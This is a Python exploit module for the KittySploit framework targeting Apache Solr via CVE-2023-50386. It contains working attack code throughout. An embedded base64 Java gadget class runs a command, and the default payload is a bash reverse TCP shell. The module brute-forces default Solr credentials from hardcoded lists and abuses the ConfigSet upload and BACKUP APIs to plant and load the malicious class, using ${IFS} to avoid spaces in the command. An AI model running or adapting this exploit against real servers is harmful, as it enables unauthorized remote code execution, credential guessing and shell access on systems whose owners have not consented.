Apache Solr Backup/Restore RCE (CVE-2023-50386)

#!/usr/bin/env python3
# -*- coding: utf-8 -*-
"""Apache Solr backup/restore ConfigSet RCE (CVE-2023-50386) — reverse CMD session."""

from __future__ import annotations

import base64
import io
import struct
import zipfile

from kittysploit import *
from core.utils.paths import data_resource
from lib.protocols.http.http_client import Http_client
from lib.scanner.http.response_validation import parse_json_response


class Module(Exploit, Http_client):
    __info__ = {
        'name': 'Apache Solr Backup/Restore RCE (CVE-2023-50386)',
        'description': (
            'Exploits CVE-2023-50386 by uploading a malicious ConfigSet containing '
            'SourceParser.class, creating a collection, using BACKUP APIs to place the '
            'class on Solr\'s classpath, then loading it via a second ConfigSet. '
            'Requires SolrCloud (ZooKeeper). Solr 6.0.0–8.11.2 and 9.0.0–9.4.0.'
        ),
        'author': ['l3yx', 'KittySploit Team'],
        'cve': ['CVE-2023-50386'],
        'platform': Platform.MULTI,
        'arch': [Arch.X86, Arch.X64],
        'category': PayloadCategory.CMD,
        'payload': {
            'default': 'payloads/singles/cmd/unix/bash_reverse_tcp',
            'platform': [Platform.UNIX, Platform.MULTI],
            'category': PayloadCategory.CMD,
        },
        'references': [
            'https://nvd.nist.gov/vuln/detail/CVE-2023-50386',
            'https://solr.apache.org/security.html#cve-2023-50386-apache-solr-backuprestore-apis-allow-for-deployment-of-executables-in-malicious-configsets',
        ],
        'tags': [
            'solr', 'apache', 'backup', 'restore', 'configset', 'rce', 'cloud',
            'kev', 'cve-2023-50386',
        ],
        'agent': {
            'risk': 'critical',
            'effects': ['active_exploitation', 'remote_code_execution', 'config_change'],
            'expected_requests': 12,
            'reversible': True,
            'approval_required': True,
            'produces': ['exploit_paths', 'risk_signals', 'rce'],
            'requires': {
                'tech_hints_any': ['solr', 'apache'],
                'endpoint_pattern_any': ['/solr/admin/configs'],
            },
            'chain': {
                'produces_capabilities': [
                    {'capability': 'rce', 'from_detail': 'ConfigSet backup classpath load'},
                    {'capability': 'shell', 'from_detail': 'reverse CMD session'},
                ],
                'suggested_followups': ['scanner/http/cve_2023_50386_detect'],
            },
        },
    }

    port = OptPort(8983, 'Solr HTTP port', True)
    ssl = OptBool(False, 'Use HTTPS', True, advanced=True)
    base_path = OptString('/solr', 'Solr base path', True)
    username = OptString('', 'Basic-auth username (empty = unauth/defaults)', False, advanced=True)
    password = OptString('', 'Basic-auth password', False, advanced=True)
    backup_location = OptString(
        '/var/solr/data/',
        'Backup location prefix on the Solr host',
        False,
        advanced=True,
    )
    cleanup = OptBool(True, 'Delete collections and configsets after exploit', False, advanced=True)
    brute_creds = OptBool(True, 'Try common Solr credentials when auth is required', False, advanced=True)

    _TEMPLATE_ZIP = ('CVE-2023-50386', 'prebuilt', 'conf1.zip')
    _SOLRCONFIG = ('CVE-2023-50386', 'solrconfig.xml')
    _DEFAULT_USERS = ('solr', 'admin', 'superadmin')
    _DEFAULT_PASSWORDS = ('SolrRocks', 'solr', 'admin', 'password', 'changeme')
    _GADGET_B64 = (
        'yv66vgAAAD0AaQoAAgADBwAEDAAFAAYBABBqYXZhL2xhbmcvT2JqZWN0AQAGPGluaXQ+AQADKClW'
        'BwAIAQAPc3VuL21pc2MvVW5zYWZlCAAKAQAJdGhlVW5zYWZlCgAMAA0HAA4MAA8AEAEAD2phdmEv'
        'bGFuZy9DbGFzcwEAEGdldERlY2xhcmVkRmllbGQBAC0oTGphdmEvbGFuZy9TdHJpbmc7KUxqYXZh'
        'L2xhbmcvcmVmbGVjdC9GaWVsZDsKABIAEwcAFAwAFQAWAQAXamF2YS9sYW5nL3JlZmxlY3QvRmll'
        'bGQBAA1zZXRBY2Nlc3NpYmxlAQAEKFopVgoAEgAYDAAZABoBAANnZXQBACYoTGphdmEvbGFuZy9P'
        'YmplY3Q7KUxqYXZhL2xhbmcvT2JqZWN0OwoADAAcDAAdAB4BAAlnZXRNb2R1bGUBABQoKUxqYXZh'
        'L2xhbmcvTW9kdWxlOwcAIAEAKXprX2JhY2t1cF8wL2NvbmZpZ3MvY29uZm5hbWUvU291cmNlUGFy'
        'c2VyCAAiAQAGbW9kdWxlCgAHACQMACUAJgEAEW9iamVjdEZpZWxkT2Zmc2V0AQAcKExqYXZhL2xh'
        'bmcvcmVmbGVjdC9GaWVsZDspSgoABwAoDAApACoBAA9nZXRBbmRTZXRPYmplY3QBADkoTGphdmEv'
        'bGFuZy9PYmplY3Q7SkxqYXZhL2xhbmcvT2JqZWN0OylMamF2YS9sYW5nL09iamVjdDsHACwBABBq'
        'YXZhL2xhbmcvU3RyaW5nCAAuAQAEYmFzaAgAMAEAAi1jCAAyAQASTUVUQVNQTE9JVF9QQVlMT0FE'
        'CAA0AQAVamF2YS5sYW5nLlByb2Nlc3NJbXBsCgAMADYMADcAOAEAB2Zvck5hbWUBACUoTGphdmEv'
        'bGFuZy9TdHJpbmc7KUxqYXZhL2xhbmcvQ2xhc3M7CAA6AQAFc3RhcnQHADwBABNbTGphdmEvbGFu'
        'Zy9TdHJpbmc7BwA+AQANamF2YS91dGlsL01hcAcAQAEAJFtMamF2YS9sYW5nL1Byb2Nlc3NCdWls'
        'ZGVyJFJlZGlyZWN0OwkAQgBDBwBEDABFAEYBABFqYXZhL2xhbmcvQm9vbGWFuEABFRZUEBABFM'
        'amF2YS9sYW5nL0NsYXNzOwoADABIDABJAEoBABFnZXREZWNsYXJlZE1ldGhvZAEAQChMamF2YS9s'
        'YW5nL1N0cmluZztbTGphdmEvbGFuZy9DbGFzczspTGphdmEvbGFuZy9yZWZsZWN0L01ldGhvZDsK'
        'AEwAEwcATQEAGGphdmEvbGFuZy9yZWZsZWN0L01ldGhvZAoAQgBPDABQAFEBAAd2YWx1ZU9mAQAW'
        'KFopTGphdmEvbGFuZy9Cb29sZWFuOwoATABTDABUAFUBAAZpbnZva2UBADkoTGphdmEvbGFuZy9P'
        'YmplY3Q7W0xqYXZhL2xhbmcvT2JqZWN0OylMamF2YS9sYW5nL09iamVjdDsHAFcBABFqYXZhL2xh'
        'bmcvUHJvY2VzcwcAWQEAE2phdmEvbGFuZy9FeGNlcHRpb24KAFgAWwwAXAAGAQAPcHJpbnRTdGFj'
        'a1RyYWNlAQAEQ29kZQEAD0xpbmVOdW1iZXJUYWJsZQEACDxjbGluaXQ+AQANU3RhY2tNYXBUYWJs'
        'ZQEAClNvdXJjZUZpbGUBABFTb3VyY2VQYXJzZXIuamF2YQEADElubmVyQ2xhc3NlcwcAZQEAIWph'
        'dmEvbGFuZy9Qcm9jZXNzQnVpbGRlciRSZWRpcmVjdAcAZwEAGGphdmEvbGFuZy9Qcm9jZXNzQnVp'
        'bGRlcgEACFJlZGlyZWN0ACEAHwACAAAAAAACAAEABQAGAAEAXQAAAB0AAQABAAAABSq3AAGxAAAA'
        'AQBeAAAABgABAAAADgAIAF8ABgABAF0AAAEaAAYACgAAAK8SBxIJtgALSyoEtgARKgG2ABfAAAdM'
        'EgK2ABtNEh9OKxIMEiG2AAu2ACM3BCstFgQstgAnVwa9ACtZAxItU1kEEi9TWQUSMVM6BhIzuAA1'
        'OgcZBxI5CL0ADFkDEjtTWQQSPVNZBRIrU1kGEj9TWQeyAEFTtgBHOggZCAS2AEsZCBkHCL0AAlkD'
        'GQZTWQQBU1kFAVNZBgFTWQcDuABOU7YAUsAAVjoJpwAISyq2AFqxAAEAAACmAKkAWAACAF4AAABC'
        'ABAAAAASAAgAEwANABQAFgAVABwAFgAfABcALAAYADUAGgBKABsAUQAcAHgAHQB+AB4ApgAhAKkA'
        'HwCqACAArgAiAGAAAAAJAAL3AKkHAFgEAAIAYQAAAAIAYgBjAAAACgABAGQAZgBoBAk='
    )

    def _solr_path(self, suffix: str) -> str:
        base = str(self.base_path or '/solr').strip()
        if not base.startswith('/'):
            base = f'/{base}'
        base = base.rstrip('/')
        if not suffix.startswith('/'):
            suffix = f'/{suffix}'
        return f'{base}{suffix}'

    def _auth_headers(self, user: str = '', passwd: str = '') -> dict:
        user = str(user or '').strip()
        passwd = str(passwd or '').strip()
        if not user:
            return {}
        token = base64.b64encode(f'{user}:{passwd}'.encode()).decode()
        return {'Authorization': f'Basic {token}'}

    def _request(self, suffix: str, user: str = '', passwd: str = '', method: str = 'GET',
                 params: dict | None = None, data=None, headers: dict | None = None):
        hdrs = {**self._auth_headers(user, passwd), **(headers or {})}
        return self.http_request(
            method=method,
            path=self._solr_path(suffix),
            params=params,
            headers=hdrs or None,
            data=data,
            allow_redirects=False,
        )

    @staticmethod
    def _packed_payload(cmd: str) -> bytes:
        raw = cmd.encode()
        return struct.pack('>H', len(raw)) + raw

    def _source_parser_class(self, conf_name: str, cmd: str) -> bytes:
        gadget = base64.b64decode(self._GADGET_B64)
        if len(conf_name) != 8:
            raise ValueError('Config name must be exactly 8 characters for gadget embedding')
        gadget = gadget.replace(b'confname', conf_name.encode())
        gadget = gadget.replace(b'\x00\x12METASPLOIT_PAYLOAD', self._packed_payload(cmd))
        return gadget

    def _zip_from_template(self, extra: dict[str, bytes]) -> bytes:
        template = data_resource(*self._TEMPLATE_ZIP)
        skip = {'ExpTest.class', 'SourceParser.class', 'solrconfig.xml'}
        buf = io.BytesIO()
        with zipfile.ZipFile(io.BytesIO(template.read_bytes())) as zin:
            with zipfile.ZipFile(buf, 'w', zipfile.ZIP_DEFLATED) as zout:
                for info in zin.infolist():
                    if info.filename in skip or info.filename.endswith('/'):
                        continue
                    zout.writestr(info, zin.read(info.filename))
                for name, content in extra.items():
                    zout.writestr(name, content)
        return buf.getvalue()

    def _solrconfig_base(self) -> str:
        return data_resource(*self._SOLRCONFIG).read_text(encoding='utf-8')

    def _build_conf1_zip(self, conf_name: str, cmd: str) -> bytes:
        return self._zip_from_template({
            'SourceParser.class': self._source_parser_class(conf_name, cmd),
            'solrconfig.xml': self._solrconfig_base().encode(),
        })

    def _build_conf2_zip(self, conf1_name: str) -> bytes:
        edited = self._solrconfig_base().replace(
            '</config>',
            (
                f'     <valueSourceParser name="myfunc" '
                f'class="zk_backup_0.configs.{conf1_name}.SourceParser" />\n</config>'
            ),
        )
        return self._zip_from_template({'solrconfig.xml': edited.encode()})

    @staticmethod
    def _json_ok(response) -> tuple[bool, dict]:
        if not response or int(response.status_code or 0) != 200:
            return False, {}
        data, _ = parse_json_response(response)
        if not isinstance(data, dict):
            return False, {}
        status = (data.get('responseHeader') or {}).get('status')
        return status == 0, data

    def _solr_version(self) -> str | None:
        r = self._request('/admin/info/system')
        if not r or int(r.status_code or 0) != 200:
            return None
        data, _ = parse_json_response(r)
        if not isinstance(data, dict):
            return None
        return (data.get('lucene') or {}).get('solr-spec-version')

    @staticmethod
    def _version_vulnerable(version: str) -> bool | None:
        try:
            parts = [int(p) for p in version.split('.')]
        except ValueError:
            return None
        if not parts:
            return None
        if parts[0] in (6, 7):
            return True
        if parts[0] == 8:
            if parts[1] < 11:
                return True
            if parts[1] == 11 and (len(parts) < 3 or parts[2] <= 2):
                return True
        if parts[0] == 9 and parts[1] == 0 and (len(parts) < 3 or parts[2] <= 4):
            return True
        return False

    def _auth_works(self, user: str, passwd: str) -> bool:
        r = self._request('/admin/info/system', user, passwd)
        return bool(r and int(r.status_code or 0) == 200)

    def _resolve_credentials(self) -> tuple[str, str]:
        user = str(self.username or '').strip()
        passwd = str(self.password or '').strip()
        if user and self._auth_works(user, passwd):
            return user, passwd
        probe = self._request('/admin/info/system')
        if probe and int(probe.status_code or 0) == 200:
            return '', ''
        if not bool(self.brute_creds):
            raise ValueError('Solr requires authentication — set username/password')
        for candidate_user in self._DEFAULT_USERS:
            for candidate_pass in self._DEFAULT_PASSWORDS:
                if self._auth_works(candidate_user, candidate_pass):
                    print_success(f'Valid Solr credentials: {candidate_user}:{candidate_pass}')
                    return candidate_user, candidate_pass
        raise ValueError('Solr authentication required but no credentials worked')

    def _upload_config(self, conf_name: str, zip_bytes: bytes, user: str, passwd: str) -> bool:
        r = self._request(
            '/admin/configs',
            user,
            passwd,
            method='POST',
            params={'action': 'UPLOAD', 'name': conf_name},
            data=zip_bytes,
            headers={'Content-Type': 'application/octet-stream'},
        )
        ok, _ = self._json_ok(r)
        return ok

    def _collection_action(self, params: dict, user: str, passwd: str) -> tuple[bool, dict]:
        r = self._request('/admin/collections', user, passwd, params=params)
        ok, data = self._json_ok(r)
        return ok, data if ok else {'status': getattr(r, 'status_code', None), 'body': r.text if r else ''}

    def _delete_artifact(self, kind: str, name: str, user: str, passwd: str) -> None:
        if kind == 'collection':
            path = '/admin/collections'
            params = {'action': 'DELETE', 'name': name}
        else:
            path = '/admin/configs'
            params = {'action': 'DELETE', 'name': name}
        self._request(path, user, passwd, params=params)

    @staticmethod
    def _nospace_cmd(cmd: str) -> str:
        """Avoid 0x20 badchar in ProcessImpl argv by using ${IFS}."""
        return cmd.replace(' ', '${IFS}')

    def check(self):
        solr = self._request('/')
        zk = self._request('/admin/zookeeper')
        if not solr or int(solr.status_code or 0) != 200:
            return {'vulnerable': False, 'reason': 'Solr UI not reachable', 'confidence': 'low'}
        if not zk or int(zk.status_code or 0) != 200:
            return {
                'vulnerable': False,
                'reason': 'SolrCloud / ZooKeeper admin not reachable (required for CVE-2023-50386)',
                'confidence': 'medium',
            }
        version = self._solr_version()
        if version:
            vuln = self._version_vulnerable(version)
            if vuln is False:
                return {
                    'vulnerable': False,
                    'reason': f'Solr {version} is patched',
                    'confidence': 'high',
                }
        try:
            self._resolve_credentials()
        except ValueError as exc:
            return {'vulnerable': False, 'reason': str(exc), 'confidence': 'medium'}
        return {
            'vulnerable': True,
            'reason': f'SolrCloud ConfigSets API reachable{f" ({version})" if version else ""}',
            'confidence': 'high' if version else 'medium',
        }

    def run(self):
        payload_cmd = str(self.payload or '').strip()
        if not payload_cmd:
            print_error('Set a reverse CMD payload')
            return False

        chk = self.check()
        if not chk.get('vulnerable'):
            print_error(chk.get('reason', 'Target does not appear vulnerable'))
            self.not_vulnerable()
            return False

        try:
            user, passwd = self._resolve_credentials()
        except ValueError as exc:
            print_error(str(exc))
            return False

        conf1 = self.random_text(8).lower()
        conf2 = self.random_text(8)
        coll1 = self.random_text(8)
        coll2 = self.random_text(8)
        backup_shard = f'{coll2}_shard1_replica_n1'
        location = str(self.backup_location or '/var/solr/data/').rstrip('/') + '/'
        exec_cmd = self._nospace_cmd(payload_cmd)

        print_status(f'Building ConfigSet {conf1} with SourceParser payload...')
        conf1_zip = self._build_conf1_zip(conf1, exec_cmd)
        conf2_zip = self._build_conf2_zip(conf1)

        try:
            if not self._upload_config(conf1, conf1_zip, user, passwd):
                print_error('Failed to upload stage-1 ConfigSet')
                return False
            print_success(f'Uploaded ConfigSet {conf1}')

            ok, data = self._collection_action({
                'action': 'CREATE',
                'name': coll1,
                'numShards': 1,
                'replicationFactor': 1,
                'wt': 'json',
                'collection.configName': conf1,
            }, user, passwd)
            if not ok:
                print_error(f'Failed to create collection {coll1}: {data}')
                return False
            print_success(f'Created collection {coll1}')

            ok, _ = self._collection_action({
                'action': 'BACKUP',
                'collection': coll1,
                'location': location,
                'name': backup_shard,
            }, user, passwd)
            if not ok:
                print_error('Stage-1 BACKUP failed')
                return False
            print_success('Stage-1 backup completed')

            ok, _ = self._collection_action({
                'action': 'BACKUP',
                'collection': coll1,
                'location': f'{location}{backup_shard}',
                'name': 'lib',
            }, user, passwd)
            if not ok:
                print_error('Stage-2 BACKUP failed')
                return False
            print_success('Stage-2 backup exported malicious class to lib/')

            if not self._upload_config(conf2, conf2_zip, user, passwd):
                print_error('Failed to upload stage-2 ConfigSet')
                return False
            print_success(f'Uploaded trigger ConfigSet {conf2}')

            r = self._request('/admin/collections', user, passwd, params={
                'action': 'CREATE',
                'name': coll2,
                'numShards': 1,
                'replicationFactor': 1,
                'wt': 'json',
                'collection.configName': conf2,
            })
            if not r:
                print_error('No response triggering payload collection')
                return False
            if int(r.status_code or 0) == 400:
                print_success('Payload triggered (collection create returned HTTP 400 as expected)')
            else:
                print_warning(f'Trigger returned HTTP {r.status_code}; check listener anyway')

            self.vulnerable()
            return True
        finally:
            if bool(self.cleanup):
                self._delete_artifact('collection', coll1, user, passwd)
                self._delete_artifact('collection', coll2, user, passwd)
                self._delete_artifact('config', conf1, user, passwd)
                self._delete_artifact('config', conf2, user, passwd)
                print_info('Solr collections and configsets cleaned up')